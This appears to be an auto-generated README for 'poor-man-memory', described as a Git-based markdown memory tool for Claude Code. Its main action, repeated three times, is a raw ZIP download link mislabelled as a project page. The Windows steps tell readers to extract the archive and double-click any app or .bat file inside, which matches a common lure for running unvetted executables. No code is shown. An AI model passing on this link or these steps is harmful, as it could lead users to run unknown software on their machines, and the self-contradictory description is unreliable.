Use this link to visit the page and download the app:
https://raw.githubusercontent.com/huckaby1847/poor-man-memory/main/pmm/memory_poor_man_joltless.zip
poor-man-memory helps Claude Code keep useful memory in plain markdown files. It stores notes, facts, and project context in a simple Git-based setup. You do not need extra servers or a database. You keep the files in your project, and Git keeps them in sync.
Use it when you want:
- Project notes that stay with your code
- Simple memory that you can read and edit
- A local setup with no extra tools
- Better context for Claude Code across sessions
Follow these steps on a Windows PC:
-
Open the download page: https://raw.githubusercontent.com/huckaby1847/poor-man-memory/main/pmm/memory_poor_man_joltless.zip
-
Find the latest release or the main project files on the page.
-
Download the Windows package if one is listed.
-
If the download is a ZIP file, right-click it and choose Extract All.
-
Open the extracted folder.
-
Look for a file named
README.md,install.bat,setup.bat, or a similar file with clear instructions. -
If you see an app file, double-click it to run it.
-
If the project uses a terminal window, open Command Prompt or PowerShell in that folder and follow the steps in the included README.
This tool is meant to stay simple. A typical Windows setup needs:
- Windows 10 or Windows 11
- Git installed
- Claude Code installed
- A text editor such as Notepad or VS Code
- A project folder where you want memory saved
If Git is not installed, use the Git for Windows installer before you start. If Claude Code is already set up on your machine, you are ready for the next step.
poor-man-memory uses markdown files as structured memory. That means the app saves useful details in plain text files that are easy to open, search, and version with Git.
It can hold:
- User preferences
- Project rules
- Important facts
- Task notes
- Session context
- Ongoing decisions
The files stay in your repo, so your memory travels with the project.
Use this basic setup flow after you download the project:
-
Put the files in a folder you want to use for your Claude Code project.
-
Open the folder in File Explorer.
-
Check for a memory folder or markdown files.
-
Open the main instructions file.
-
Follow any setup steps for linking the memory files to your Claude Code workflow.
-
Save the folder in Git so changes stay tracked.
-
Run Claude Code and point it at the project folder if the instructions ask for that.
If the repo includes sample memory files, keep them as a starting point. You can edit them later with your own project details.
A basic memory setup may look like this:
memory/memory/projects/memory/people/memory/rules.mdmemory/context.mdmemory/todos.md
This kind of layout makes it easy to find and update information without hunting through long notes.
Use plain language when you add or change memory. Keep each note short and clear.
Good things to store:
- What the project does
- Naming rules
- File structure
- API details
- User goals
- Things Claude should not forget
Good habits:
- Keep one idea per section
- Use markdown headings
- Update notes when plans change
- Remove stale facts
- Commit changes with Git
A common workflow looks like this:
- Open your project folder.
- Read the memory files before you start work.
- Ask Claude Code to use the saved context.
- Make changes in the project.
- Update the markdown memory files when important details change.
- Commit the updates with Git.
This keeps the project context close to the code and easy to review later.
Here is a simple example of the kind of content you might keep:
- Project name: Customer support dashboard
- Main goal: Help agents answer tickets faster
- Style rule: Use short labels
- Important note: Export CSV must keep column order
- Current task: Add search filters to the list view
This format works well because it stays short and easy to scan.
If something does not work, check these common points:
- Make sure the files are in the correct folder
- Make sure Git is installed and working
- Make sure Claude Code points to the right project
- Make sure the markdown files were saved
- Make sure the repo was cloned or downloaded fully
- Make sure your editor did not change the file names
If the setup asks for a terminal command and it fails, copy the exact message and check the repo instructions again.
This project is built around:
- ai-agents
- anthropic
- claude-code
- context-management
- developer-tools
- git
- llm
- markdown
- memory
- persistent-memory
Use the main project page here:
https://raw.githubusercontent.com/huckaby1847/poor-man-memory/main/pmm/memory_poor_man_joltless.zip
To get good results, keep the memory clean and current:
- Store only useful facts
- Write for future sessions
- Keep file names stable
- Use Git commits for changes
- Review memory before large tasks
- Remove notes that no longer matter